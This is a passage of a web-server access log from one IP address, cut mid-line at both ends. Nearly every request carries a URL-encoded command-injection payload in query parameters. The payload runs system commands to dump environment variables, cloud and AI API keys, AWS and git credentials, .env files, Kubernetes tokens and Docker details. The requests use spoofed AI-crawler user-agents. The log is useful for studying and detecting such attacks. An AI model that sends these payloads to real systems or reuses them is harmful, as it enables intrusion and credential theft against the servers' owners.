%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 40558 "-" "Mozilla/5.0 (compatible; cohere-ai/1.0; +https://cohere.com)"
34.125.219.56 - - [02/Aug/2026:08:31:47 +0200] "GET /?ip=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 1140 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"
34.125.219.56 - - [02/Aug/2026:08:31:50 +0200] "GET /?url=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 60524 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot"
34.125.219.56 - - [02/Aug/2026:08:31:50 +0200] "GET /?id=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 60582 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)"
34.125.219.56 - - [02/Aug/2026:08:31:50 +0200] "GET /?q=%3B+echo+GSCAN_CMDI+%23 HTTP/1.1" 200 60524 "-" "TLM-Audit-Scanner/1.0"
34.125.219.56 - - [02/Aug/2026:08:31:53 +0200] "GET /?id=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/1.1" 200 60510 "-" "anthropic-ai"
34.125.219.56 - - [02/Aug/2026:08:31:53 +0200] "GET /?url=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7C